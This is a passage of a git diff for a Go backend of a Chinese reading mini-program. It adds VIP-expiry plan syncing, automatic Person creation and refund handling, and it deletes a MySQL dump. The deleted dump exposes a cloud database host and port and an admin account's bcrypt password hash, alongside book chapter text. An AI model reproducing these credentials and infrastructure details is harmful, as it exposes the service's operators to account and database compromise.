ctx.Err() + default: + } + if r.PlanID <= 0 || r.UserID == "" { + continue + } + if err := setCkbPlanEnabled(openToken, r.PlanID, false); err != nil { + syncOrdersLogf("停用存客宝计划失败: userId=%s, planId=%d, nickname=%s, err=%v", r.UserID, r.PlanID, r.Nickname, err) + continue + } + disabled++ + syncOrdersLogf("已停用存客宝计划: userId=%s, planId=%d, nickname=%s", r.UserID, r.PlanID, r.Nickname) + + // 兜底清理脏标记:到期用户将 is_vip 置为 0(vip_expire_date 保留) + _ = db.Model(&model.User{}).Where("id = ?", r.UserID).Update("is_vip", false).Error + } + return scanned, disabled, nil +} + +// CronSyncVipCkbPlans GET/POST /api/cron/sync-vip-ckb-plans +// ?limit=200 每次最多处理 N 个到期用户 +func CronSyncVipCkbPlans(c *gin.Context) { + limit := 200 + if s := strings.TrimSpace(c.Query("limit")); s != "" { + if n, err := strconv.Atoi(s); err == nil && n > 0 && n <= 2000 { + limit = n + } + } + scanned, disabled, err := RunSyncVipCkbPlans(c.Request.Context(), limit) + if err != nil { + c.JSON(http.StatusOK, gin.H{"success": false, "error": err.Error(), "scanned": scanned, "disabled": disabled}) + return + } + c.JSON(http.StatusOK, gin.H{"success": true, "scanned": scanned, "disabled": disabled, "limit": limit}) +} diff --git a/soul-api/internal/handler/db_person.go b/soul-api/internal/handler/db_person.go index 782203b8..5f9e9117 100644 --- a/soul-api/internal/handler/db_person.go +++ b/soul-api/internal/handler/db_person.go @@ -226,7 +226,8 @@ func DBPersonSave(c *gin.Context) { } // createPersonMinimal 仅按 name 创建 Person(含存客宝计划),供 autolink 复用 -func createPersonMinimal(db *gorm.DB, name string) (*model.Person, error) { +// userID 可为空;用于“绑定用户 → 幂等创建”的场景 +func createPersonMinimal(db *gorm.DB, name string, userID string) (*model.Person, error) { name = strings.TrimSpace(name) if name == "" { return nil, fmt.Errorf("name 必填") @@ -271,6 +272,7 @@ func createPersonMinimal(db *gorm.DB, name string) (*model.Person, error) { } } newPerson := model.Person{ + UserID: strPtrIfNotEmpty(userID), PersonID: personID, Token: tok, Name: name, @@ -287,6 +289,103 @@ func createPersonMinimal(db *gorm.DB, name string) (*model.Person, error) { return &newPerson, nil } +func strPtrIfNotEmpty(s string) *string { + s = strings.TrimSpace(s) + if s == "" { + return nil + } + return &s +} + +// setCkbPlanEnabled 将存客宝计划置为启用/停用(最佳努力) +func setCkbPlanEnabled(openToken string, planID int64, enabled bool) error { + if planID <= 0 { + return fmt.Errorf("planID 无效") + } + status := 0 + if enabled { + status = 1 + } + payload := map[string]interface{}{ + "planId": planID, + "status": status, + "enabled": enabled, + "scenario": 9, // 兜底:部分接口可能要求带 scenario,与 create 保持一致 + } + _, err := ckbOpenUpdatePlan(openToken, payload) + return err +} + +// ensurePersonForUser 确保用户对应的 Person 存在(用于超级个体开通成功后的自动创建) +// 幂等规则: +// 1) 优先按 persons.user_id 查;存在则必要时同步 name=nickname +// 2) 若无 user_id 记录,则按 name=nickname 兜底复用;若复用成功且 user_id 为空则补绑 +// 3) 都不存在则创建(含 CKB 计划) +// +// 该逻辑为“最佳努力”,调用方不应因失败而阻断支付/权益激活。 +func ensurePersonForUser(db *gorm.DB, userID string) error { + userID = strings.TrimSpace(userID) + if userID == "" { + return fmt.Errorf("userID 不能为空") + } + var user model.User + if err := db.Select("id", "nickname").Where("id = ?", userID).First(&user).Error; err != nil { + return fmt.Errorf("用户不存在: %w", err) + } + nickname := "" + if user.Nickname != nil { + nickname = strings.TrimSpace(*user.Nickname) + } + if nickname == "" { + return fmt.Errorf("用户昵称为空,跳过创建 Person") + } + if !isValidNameOrLabel(nickname) { + return fmt.Errorf("用户昵称不符合 Person.name 规则,跳过创建 Person") + } + + // 获取 CKB open token(仅在需要启用计划时使用;失败不阻断) + openToken, _ := ckbOpenGetToken() + + // 1) 按 user_id 查 + var p model.Person + if err := db.Where("user_id = ?", userID).First(&p).Error; err == nil { + // 同步展示名(跟随昵称) + if strings.TrimSpace(p.Name) != nickname { + db.Model(&p).Updates(map[string]interface{}{"name": nickname, "updated_at": time.Now()}) + } + // 续费/恢复:若已有计划则尝试重新启用(最佳努力) + if openToken != "" && p.CkbPlanID > 0 { + _ = setCkbPlanEnabled(openToken, p.CkbPlanID, true) + } + return nil + } + + // 2) 按 name 兜底复用 + var byName model.Person + if err := db.Where("name = ?", nickname).First(&byName).Error; err == nil { + // 若未绑定 user_id,补绑;并确保 name 为昵称 + updates := map[string]interface{}{} + if byName.UserID == nil || strings.TrimSpace(*byName.UserID) == "" { + updates["user_id"] = userID + } + if strings.TrimSpace(byName.Name) != nickname { + updates["name"] = nickname + } + if len(updates) > 0 { + updates["updated_at"] = time.Now() + db.Model(&byName).Updates(updates) + } + if openToken != "" && byName.CkbPlanID > 0 { + _ = setCkbPlanEnabled(openToken, byName.CkbPlanID, true) + } + return nil + } + + // 3) 创建 + _, err := createPersonMinimal(db, nickname, userID) + return err +} + func genPersonToken() (string, error) { b := make([]byte, 24) if _, err := rand.Read(b); err != nil { diff --git a/soul-api/internal/handler/gift_pay.go b/soul-api/internal/handler/gift_pay.go index 87a0e92c..867d1fbf 100644 --- a/soul-api/internal/handler/gift_pay.go +++ b/soul-api/internal/handler/gift_pay.go @@ -360,7 +360,7 @@ func GiftPayDetail(c *gin.Context) { return } - if gpr.Status != "pending" && gpr.Status != "pending_pay" && gpr.Status != "paid" { + if gpr.Status != "pending" && gpr.Status != "pending_pay" && gpr.Status != "paid" && gpr.Status != "refunded" { c.JSON(http.StatusOK, gin.H{"success": false, "error": "该代付已处理"}) return } @@ -431,6 +431,8 @@ func GiftPayDetail(c *gin.Context) { action = "pay" } else if gpr.Status == "paid" { action = "share" + } else if gpr.Status == "refunded" { + action = "refunded" } else if gpr.Status == "pending" { action = "share" // 旧版:待好友付 } @@ -449,6 +451,8 @@ func GiftPayDetail(c *gin.Context) { } else { action = "redeem" } + } else if gpr.Status == "refunded" { + action = "refunded" } } diff --git a/soul-api/internal/handler/miniprogram.go b/soul-api/internal/handler/miniprogram.go index 6ab11783..8d112f99 100644 --- a/soul-api/internal/handler/miniprogram.go +++ b/soul-api/internal/handler/miniprogram.go @@ -675,6 +675,10 @@ func MiniprogramPayNotify(c *gin.Context) { } expireDate := activateVIP(db, beneficiaryUserID, 365, vipActivatedAt) fmt.Printf("[VIP] 设置方式=支付设置, userId=%s, orderSn=%s, 过期日=%s, activatedAt=%s\n", beneficiaryUserID, orderSn, expireDate.Format("2006-01-02"), vipActivatedAt.Format("2006-01-02 15:04:05")) + // 超级个体/会员开通后:确保链接人与事存在同名 @人(最佳努力) + if err := ensurePersonForUser(db, beneficiaryUserID); err != nil { + fmt.Printf("[VIP] ensurePersonForUser 失败: userId=%s, orderSn=%s, err=%v\n", beneficiaryUserID, orderSn, err) + } } else if attach.ProductType == "match" { fmt.Printf("[PayNotify] 用户购买匹配次数: %s,订单 %s\n", beneficiaryUserID, orderSn) } else if attach.ProductType == "balance_recharge" { @@ -1096,6 +1100,10 @@ func activateOrderBenefits(db *gorm.DB, order *model.Order, payTime time.Time) { db.Model(&model.User{}).Where("id = ?", userID).Update("has_full_book", true) case "vip": activateVIP(db, userID, 365, payTime) + // 超级个体/会员开通后:确保链接人与事存在同名 @人(最佳努力,不阻断权益) + if err := ensurePersonForUser(db, userID); err != nil { + fmt.Printf("[VIP] ensurePersonForUser 失败: userId=%s, err=%v\n", userID, err) + } case "balance_recharge": ConfirmBalanceRechargeByOrder(db, order) } diff --git a/soul-api/internal/handler/orders.go b/soul-api/internal/handler/orders.go index 2f2c02e0..5ad82f9d 100644 --- a/soul-api/internal/handler/orders.go +++ b/soul-api/internal/handler/orders.go @@ -274,5 +274,12 @@ func AdminOrderRefund(c *gin.Context) { c.JSON(http.StatusOK, gin.H{"success": false, "error": "退款成功但更新订单状态失败: " + err.Error()}) return } + + // 代付批量订单退款:同步更新 gift_pay_requests 状态,避免小程序仍可分享/领取 + if order.GiftPayRequestID != nil && *order.GiftPayRequestID != "" { + _ = db.Model(&model.GiftPayRequest{}). + Where("id = ?", *order.GiftPayRequestID). + Updates(map[string]interface{}{"status": "refunded"}).Error + } c.JSON(http.StatusOK, gin.H{"success": true, "message": "退款成功"}) } diff --git a/soul-api/internal/model/gift_pay_request.go b/soul-api/internal/model/gift_pay_request.go index 3583be3f..193b71a2 100644 --- a/soul-api/internal/model/gift_pay_request.go +++ b/soul-api/internal/model/gift_pay_request.go @@ -3,7 +3,7 @@ package model import "time" // GiftPayRequest 代付请求表(改造后:发起人创建并支付,好友领取) -// status: pending_pay(待发起人支付)| paid(已支付待领取)| cancelled | expired +// status: pending_pay(待发起人支付)| paid(已支付待领取)| refunded(已退款,不可再分享/领取)| cancelled | expired type GiftPayRequest struct { ID string `gorm:"column:id;primaryKey;size:50" json:"id"` RequestSN string `gorm:"column:request_sn;uniqueIndex;size:32" json:"requestSn"` @@ -12,7 +12,7 @@ type GiftPayRequest struct { ProductID string `gorm:"column:product_id;size:50" json:"productId"` Amount float64 `gorm:"column:amount;type:decimal(10,2)" json:"amount"` Description string `gorm:"column:description;size:200" json:"description"` - Status string `gorm:"column:status;size:20;index" json:"status"` // pending_pay / paid / cancelled / expired + Status string `gorm:"column:status;size:20;index" json:"status"` // pending_pay / paid / refunded / cancelled / expired Quantity int `gorm:"column:quantity;default:1" json:"quantity"` RedeemedCount int `gorm:"column:redeemed_count;default:0" json:"redeemedCount"` PayerUserID *string `gorm:"column:payer_user_id;size:50" json:"payerUserId,omitempty"` diff --git a/soul-api/internal/model/person.go b/soul-api/internal/model/person.go index f6790935..10fa6b0e 100644 --- a/soul-api/internal/model/person.go +++ b/soul-api/internal/model/person.go @@ -8,6 +8,10 @@ import "time" type Person struct { ID uint `gorm:"primaryKey;autoIncrement" json:"id"` + // 绑定用户(用于“超级个体开通后自动创建@人”等幂等场景) + // 允许为空:历史数据/手工创建的 Person 不一定绑定 user + UserID *string `gorm:"column:user_id;size:50;uniqueIndex" json:"userId"` + PersonID string `gorm:"column:person_id;size:50;uniqueIndex" json:"personId"` Token string `gorm:"column:token;size:36;uniqueIndex" json:"token"` // 32 位唯一 token,文章/小程序传此值 Name string `gorm:"column:name;size:100" json:"name"` diff --git a/soul-api/internal/router/router.go b/soul-api/internal/router/router.go index c9f335c2..61171403 100644 --- a/soul-api/internal/router/router.go +++ b/soul-api/internal/router/router.go @@ -147,6 +147,8 @@ func Setup(cfg *config.Config) *gin.Engine { { cron.GET("/sync-orders", handler.CronSyncOrders) cron.POST("/sync-orders", handler.CronSyncOrders) + cron.GET("/sync-vip-ckb-plans", handler.CronSyncVipCkbPlans) + cron.POST("/sync-vip-ckb-plans", handler.CronSyncVipCkbPlans) cron.GET("/unbind-expired", handler.CronUnbindExpired) cron.POST("/unbind-expired", handler.CronUnbindExpired) } diff --git a/soul-api/scripts/add-persons-user-id.sql b/soul-api/scripts/add-persons-user-id.sql new file mode 100644 index 00000000..ca958cd9 --- /dev/null +++ b/soul-api/scripts/add-persons-user-id.sql @@ -0,0 +1,10 @@ +-- persons 表新增 user_id:用于“超级个体开通后自动创建@人”等幂等绑定 +-- 说明: +-- - 允许为空(历史数据/手工创建不绑定 user) +-- - 允许多条 NULL(MySQL UNIQUE 对 NULL 不冲突) +-- - 绑定后建议一人仅一条 Person(满足“昵称同名@人”需求) + +ALTER TABLE persons + ADD COLUMN user_id VARCHAR(50) DEFAULT NULL COMMENT '绑定用户ID(幂等创建@人)', + ADD UNIQUE KEY uk_persons_user_id (user_id); + diff --git a/soul_miniprogram.sql b/soul_miniprogram.sql deleted file mode 100644 index e3973770..00000000 --- a/soul_miniprogram.sql +++ /dev/null @@ -1,2380 +0,0 @@ -/* - Navicat Premium Data Transfer - - Source Server : Soul读书小程序 - Source Server Type : MySQL - Source Server Version : 50736 (5.7.36-txsql-log) - Source Host : 56b4c23f6853c.gz.cdb.myqcloud.com:14413 - Source Schema : soul_miniprogram - - Target Server Type : MySQL - Target Server Version : 50736 (5.7.36-txsql-log) - File Encoding : 65001 - - Date: 11/03/2026 11:54:03 -*/ - -SET NAMES utf8mb4; -SET FOREIGN_KEY_CHECKS = 0; - --- ---------------------------- --- Table structure for admin_users --- ---------------------------- -DROP TABLE IF EXISTS `admin_users`; -CREATE TABLE `admin_users` ( - `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, - `username` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `password_hash` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `role` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'admin', - `name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `status` varchar(16) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active', - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - `deleted_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_admin_users_username`(`username`) USING BTREE, - INDEX `idx_admin_users_deleted_at`(`deleted_at`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of admin_users --- ---------------------------- -INSERT INTO `admin_users` VALUES (1, 'admin', '$2a$10$HAeSB.jJ1bO.01oRB5H2feAosSQJXnCY.DyY6LHmK7rks2NfE/hSK', 'super_admin', '卡若', 'active', '2026-03-04 03:10:05.444', '2026-03-04 03:10:05.444', NULL); - --- ---------------------------- --- Table structure for author_config --- ---------------------------- -DROP TABLE IF EXISTS `author_config`; -CREATE TABLE `author_config` ( - `id` int(11) NOT NULL AUTO_INCREMENT, - `name` varchar(80) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL, - `avatar` varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, - `avatar_img` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, - `title` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, - `bio` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL, - `stats` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL, - `highlights` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of author_config --- ---------------------------- -INSERT INTO `author_config` VALUES (1, '卡若', 'K', '', 'Soul派对房主理人 · 私域运营专家', '每天早上6点到9点,在Soul派对房分享真实的创业故事。专注私域运营与项目变现,用云阿米巴模式帮助创业者构建可持续的商业体系。', '[{\"label\":\"商业案例\",\"value\":\"62\"},{\"label\":\"连续直播\",\"value\":\"365天\"},{\"label\":\"派对分享\",\"value\":\"1000+\"}]', '[\"12年私域运营经验\",\"帮助100+品牌从0到1增长\",\"连续创业者,擅长商业模式设计\"]', '2026-03-03 16:43:03.000', '2026-03-07 13:49:16.475'); - --- ---------------------------- --- Table structure for chapters --- ---------------------------- -DROP TABLE IF EXISTS `chapters`; -CREATE TABLE `chapters` ( - `mid` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, - `id` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `part_id` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `part_title` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `chapter_id` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `chapter_title` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `section_title` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `content` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL, - `word_count` bigint(20) NULL DEFAULT NULL, - `is_free` tinyint(1) NULL DEFAULT NULL, - `price` decimal(10, 2) NULL DEFAULT NULL, - `sort_order` bigint(20) NULL DEFAULT NULL, - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - `view_count` int(11) NULL DEFAULT 0, - `purchase_count` int(11) NULL DEFAULT 0, - `is_new` tinyint(1) NULL DEFAULT NULL, - `hot_score_override` decimal(10, 2) NULL DEFAULT NULL, - `edition_standard` tinyint(1) NULL DEFAULT NULL, - `edition_premium` tinyint(1) NULL DEFAULT NULL, - PRIMARY KEY (`mid`) USING BTREE, - UNIQUE INDEX `idx_chapters_id`(`id`) USING BTREE, - INDEX `idx_part_id`(`part_id`) USING BTREE, - INDEX `idx_chapter_id`(`chapter_id`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_sort_order`(`sort_order`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 212 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of chapters --- ---------------------------- -INSERT INTO `chapters` VALUES (1, '1.1', 'part-1', '第一篇|真实的人', 'chapter-1', '第1章|人与人之间的底层逻辑', '荷包:电动车出租的被动收入模式', '\"每个人都在梦想特斯拉帮他挣钱,我现在电动车帮我挣钱。\"\n\n2025年10月21日,周一,早上6点18分。\n\nSoul派对房里进来一个人,声音很稳。\n\n他上麦之后,先听了十分钟。\n\n然后说了一句话:\"你讲的被动收入,我做了好几年了。\"\n\n我愣了一下。\n\nSoul上吹牛的人太多,但这个人的语气不像吹牛。\n\n---\n\n\"那你是做什么的?\"\n\n\"电动车。\"\n\n\"电动车?卖车的?\"\n\n”不是,出租的。\"\n\n\"出租电动车?\"\n\n\"对,在泉州,我有1000辆电动车。\"\n\n派对房里,突然安静了。\n\n---\n\n\"1000辆?怎么做的?\"\n\n他笑了。\n\n\"其实很简单。\"\n\n\"你找一个工厂、工业园区,那里有很多工人,对吧?\"\n\n\"工人上下班需要交通工具,骑电动车最方便。\"\n\n\"但买一辆电动车要两三千块,很多人舍不得。\"\n\n\"那我就租给他们。\"\n\n他停了一下。\n\n\"一个月三百六十几块,一天算下来才十几块钱。\"\n\n\"工人觉得划算,我也稳定赚钱。\"\n\n---\n\n派对房里,有人打字:\"那你一个月能赚多少?\"\n\n他说:\"1000辆车,一个月就是三十多万流水。\"\n\n\"扣掉成本、维护、人工,净利润大概十几万。\"\n\n\"关键是,这是被动收入。\"\n\n\"车放在那里,每个月都有钱进来。\"\n\n---\n\n我问:\"那你怎么找到这些工厂的?\"\n\n他说:\"一开始是自己一家一家跑。\"\n\n\"后来我发现,最好的办法是找做人力的人合作。\"\n\n\"做人力的,手上有大量的工厂资源。\"\n\n\"他给我介绍工厂,我给他分成。\"\n\n---\n\n派对房里,有人问:\"那你现在还在扩张吗?\"\n\n他说:\"刚投了100多万,在河源又铺了500辆。\"\n\n我有点惊讶。\n\n\"河源?那不是广东那边吗?\"\n\n他说:\"对,我在Soul上认识了一个小伙伴,姓李,大家叫他犟总。\"\n\n\"他在河源那边有个工业园区,5万多平,工人非常多。\"\n\n\"我们一聊,觉得这个事情可以做,就直接签了。\"\n\n---\n\n派对房里,有人说:\"等等,你们是在Soul上认识的?\"\n\n他说:\"对,就是在这个派对房里。\"\n\n我笑了。\n\n\"这可能是我们派对房第一个真正落地的合作。\"\n\n他说:\"可不是嘛。\"\n\n\"犟总那边做人力,我这边有车,一拍即合。\"\n\n\"他负责场地和工人,我负责车和运营。\"\n\n\"500辆车拉过去,直接就开始赚钱了。\"\n\n---\n\n派对房里,有人问:\"那你这个模式能复制吗?\"\n\n他说:\"当然能。\"\n\n\"你只要找到有大量人口的地方,工厂、学校、工业园区都行。\"\n\n\"然后投车进去,租出去就完了。\"\n\n他停了一下。\n\n\"我现在还在看宝盖山那边。\"\n\n\"石狮那个理工学校,有两万六的学生。\"\n\n\"如果能摆电动车进去,又是一个新的点。\"\n\n---\n\n我问:\"那你这个生意最难的是什么?\"\n\n他想了一下。\n\n\"最难的是找到对的合作伙伴。\"\n\n\"你一个人做不了这个事情,你需要有人帮你搞定场地。\"\n\n\"场地有了,车铺进去,后面就是运营的事情了。\"\n\n他继续说:\"所以我现在花很多时间在Soul上。\"\n\n\"因为这里能认识各种各样的人。\"\n\n\"做人力的、做地产的、做工厂的,什么人都有。\"\n\n\"你多聊,总能找到合适的合作伙伴。\"\n\n---\n\n派对房里,有人问:\"那你还做什么?\"\n\n他说:\"车身广告。\"\n\n\"我1000辆电动车,每辆车身上都可以贴广告。\"\n\n\"一天一辆车才3毛钱,一个月9块钱。\"\n\n\"但1000辆车,一个月就是9000块额外收入。\"\n\n\"关键是,这个钱几乎没有成本,纯利润。\"\n\n---\n\n我问:\"所以你的生意模式是,车租出去赚租金,车身贴广告赚广告费?\"\n\n他说:\"对,两条腿走路。\"\n\n\"租金是主要收入,广告是锦上添花。\"\n\n\"以后车多了,广告这块收入会越来越高。\"\n\n---\n\n那天聊完,已经快9点了。\n\n我在派对房里总结了一下。\n\n\"刚才荷包分享的,是一个非常典型的被动收入模式。\"\n\n\"什么叫被动收入?\"\n\n\"就是你把资产放在那里,它自己给你赚钱。\"\n\n\"可以是房子出租,可以是电动车出租,可以是任何有需求的资产。\"\n\n我停了一下。\n\n\"但被动收入不是躺着赚钱。\"\n\n\"前期你要投入资金、要找合作伙伴、要铺设网络。\"\n\n\"等这些都做好了,后面才能相对轻松。\"\n\n---\n\n早上9点12分,荷包说他要去准备出发了。\n\n\"今天500辆车都到河源了,我要过去盯一下。\"\n\n\"祝你顺利。\"\n\n\"谢了。下次回来给大家汇报进展。\"\n\n派对房里有人说:\"这才是Soul的正确用法。\"\n\n我笑了。\n\n确实,在这里认识的人,在这里谈成的合作,在这里落地的项目。\n\n这才是商业社会里社交的真正价值。\n\n不是认识多少人,而是能不能和对的人一起做对的事。\n\n荷包和犟总,一个有车,一个有场地。\n\n两个人在Soul上认识,在现实中落地。\n\n这就是资源整合最简单的样子。', 4979, 0, 1.00, 1, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.469', 24, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (2, '1.2', 'part-1', '第一篇|真实的人', 'chapter-1', '第1章|人与人之间的底层逻辑', '老墨:资源整合高手的社交方法', '\"有些人手上没有一个项目,但他认识所有有项目的人。\"\n\n2025年10月25日,周六,早上6点15分。\n\n这是我对老墨的第一印象。\n\nSoul派对房里进来一个人,声音很稳,不像大多数人那样急着表达自己。\n\n他上麦之后,先听了十分钟。\n\n然后说了一句话:\"你讲的资源整合,我做了15年。\"\n\n我愣了一下。\n\n\n---\n\n\"那你是做什么的?\"\n\n\"财务。\"\n\n\"财务公司?\"\n\n\"对,但我不是做账的,我是做资源整合的。\"\n\n这句话,让我来了兴趣。\n\n\n\"你看,一家企业需要做账,对吧?\"\n\n\"但做账只是一个入口。\"\n\n\"企业还需要什么?税筹、退税、融资、法律、客户资源。\"\n\n\"我手上有很多企业客户,每一家都有不同的需求。\"\n\n他停了一下。\n\n\"我的生意,就是把A的需求,对接给B的资源。\"\n\n\"中间抽几个点。\"\n\n---\n\n派对房里,有人打字:\"这不就是中介吗?\"\n\n他说:\"你可以这么理解。\"\n\n\"但我不是普通的中介。\"\n\n\"我是有背书的中介。\"\n\n\"那你怎么找到这些资源的?\"\n\n\"我每天花三个小时,在Soul派对房里听人聊天。\"\n\n我有点惊讶。\n\n\"Soul?\"\n\n他点点头。\n\n\"Soul上什么人都有。做税筹的,做退税的,做供应链的,做融资的。\"\n\n\"我每天上麦,不说话,就听。\"\n\n\"听他们在讲什么项目,讲什么资源,讲什么需求。\"\n\n\"然后我加他们微信,进飞书,慢慢聊。\"\n\n他停了一下。\n\n\"三个月,我在Soul上认识了80个老板。\"\n\n\"每个老板手上都有不同的资源。\"\n\n\"我的工作,就是把他们链接起来。\"\n\n---\n\n派对房里,有人问:\"他们为什么愿意给你分钱?\"\n\n他说:\"因为我给他们带客户。\"\n\n他给我们讲了一个案例。\n\n\"今年年初,我在Soul上认识了一个做退税的老板。\"\n\n\"他说,他的退税业务,只针对年流水比较大的企业。\"\n\n\"但他找不到客户。\"\n\n他停了一下。\n\n\"我手上有很多企业客户,我一筛选,发现有一些符合条件。\"\n\n\"我说,我把客户给你,你帮我分成。\"\n\n\"他说,怎么分?\"\n\n\"我说,你收服务费,分我一部分。\"\n\n\"他说,没问题。\"\n\n---\n\n派对房里,有人问:\"那客户为什么愿意接受你的介绍?\"\n\n他说:\"因为我给他们做账。\"\n\n\"我每个月给他们发财务报表。\"\n\n\"报表里面,我会写:您的企业今年缴税XX万,我们有合作伙伴可以帮您优化税务,预计可以节省XX万。\"\n\n\"这句话一写,客户就会问我。\"\n\n\"我说,我认识一个做税筹的朋友,很靠谱,要不要我介绍给你?\"\n\n\"客户说,可以。\"\n\n他看着我。\n\n\"然后我就把客户介绍过去。\"\n\n\"客户省了钱,我分了成,那个老板也赚了钱。\"\n\n\"大家都开心。\"\n\n---\n\n有人问:\"那你怎么保证那个老板靠谱?\"\n\n他说:\"我会先自己测试。\"\n\n\"第一次合作,我不会介绍大客户。\"\n\n\"我先介绍一个小客户,看他怎么做。\"\n\n\"如果他做得好,客户满意,我再介绍大客户。\"\n\n\"如果他做得不好,我就不再合作。\"\n\n他停了一下。\n\n\"所以我手上的资源,都是经过验证的。\"\n\n\"客户信任我,是因为我只给他们推荐靠谱的人。\"\n\n---\n\n派对房里,又是一阵沉默。\n\n\"为什么大部分人做不了资源整合?\"\n\n\"因为他们不舍得分钱。\"\n\n\"很多人觉得,我介绍客户给你,你应该感谢我。\"\n\n\"但其实,应该是我感谢他。\"\n\n\"因为他提供了服务,客户才满意。\"\n\n\"我只是做了一个链接。\"\n\n他停了一下。\n\n\"所以我每次介绍客户,都会主动提出分成。\"\n\n\"我不等他来找我分钱,我先说,这个项目我们怎么分?\"\n\n\"这样,大家都觉得我很靠谱。\"\n\n派对房里,有人打字:\"学到了。\"\n\n---\n\n那天聊完,已经快9点了。\n\n我在派对房里总结了一下。\n\n\"刚才那位老板,给了我们一个很好的示范。\"\n\n\"什么叫资源整合?\"\n\n\"第一,你要认识足够多的人。不是泛泛之交,是知道他们手上有什么资源。\"\n\n\"第二,你要有客户。资源整合的本质,是把需求对接给供给。没有需求,你整合不了。\"\n\n\"第三,你要舍得分钱。不要想着自己吃肉,别人喝汤。你分得越多,大家越愿意跟你合作。\"\n\n我停了一下。\n\n\"最重要的是,你要让所有人都觉得,跟你合作是赚钱的,不是被你赚钱的。\"\n\n---\n\n早上9点05分,老墨说他要去见客户了。\n\n临走前他说了一句话:\"我手上没有一个项目,但我年入千万。\"\n\n我笑了。\n\n这就是资源整合的魅力。\n\n你不需要自己做项目,你只需要认识做项目的人。\n\n然后把他们链接起来,让每个人都赚到钱。\n\n你链接得越多,大家越信任你。\n\n你越舍得分钱,大家越愿意跟你合作。\n\n这不是什么高深的道理,但能做到的人,真的不多。', 4945, 0, 1.00, 2, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.481', 30, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (3, '1.3', 'part-1', '第一篇|真实的人', 'chapter-1', '第1章|人与人之间的底层逻辑', '笑声背后的MBTI:为什么ENTJ适合做资源,INTP适合做系统', '

\"你们有没有想过,为什么有些人天生就适合做销售,有些人天生就适合做技术?\"

2025年11月7日,周五,早上7点40分。

那天派对房的气氛特别活跃,一个声音特别有穿透力的女生上了麦。

她一上麦就说:\"我是做MBTI咨询的,专门帮企业做团队分析。\"

\"MBTI?那个性格测试?\"

\"对,但我不是那种网上随便做做的测试。我是专业的,给企业做人才画像的。\"

派对房里有人打字:\"MBTI不是玄学吗?\"

她笑了。

\"你觉得是玄学,是因为你没见过它在商业场景里的应用。\"


我让她分享一下。

她说:\"好,我讲一个真实的案例。\"

\"去年,有一家做私域的公司找我,说他们团队有问题。\"

\"什么问题?销售业绩很好,但是客户留存率很低。\"

\"我去做了一次团队诊断,发现一个很有意思的现象。\"

她停了一下。

\"他们的销售团队,清一色都是ENTJ和ESTP。\"

\"你们知道这意味着什么吗?\"

派对房里,有人问:\"什么意思?\"

她说:\"ENTJ是指挥官型人格,天生喜欢掌控局面,目标导向,执行力强。\"

\"ESTP是企业家型人格,喜欢冒险,反应快,善于抓住机会。\"

\"这两种人,做销售是一把好手。\"

\"但是——\"

她语气一转。

\"他们都有一个共同的问题:不擅长维护关系。\"

\"他们喜欢的是\'成交\'那一刻的快感,不喜欢后续的\'服务\'。\"

\"所以客户买完东西,就再也找不到人了。\"


我问:\"那怎么解决?\"

她说:\"我建议他们招几个INFJ和ISFJ。\"

\"INFJ是提倡者型人格,天生擅长理解他人,共情能力强。\"

\"ISFJ是守护者型人格,细心、耐心、喜欢照顾人。\"

\"让这两种人做客户服务,客户留存率立刻就上去了。\"

她停了一下。

\"三个月后,那家公司的客户复购率从12%涨到了38%。\"

派对房里,有人打字:\"牛逼。\"


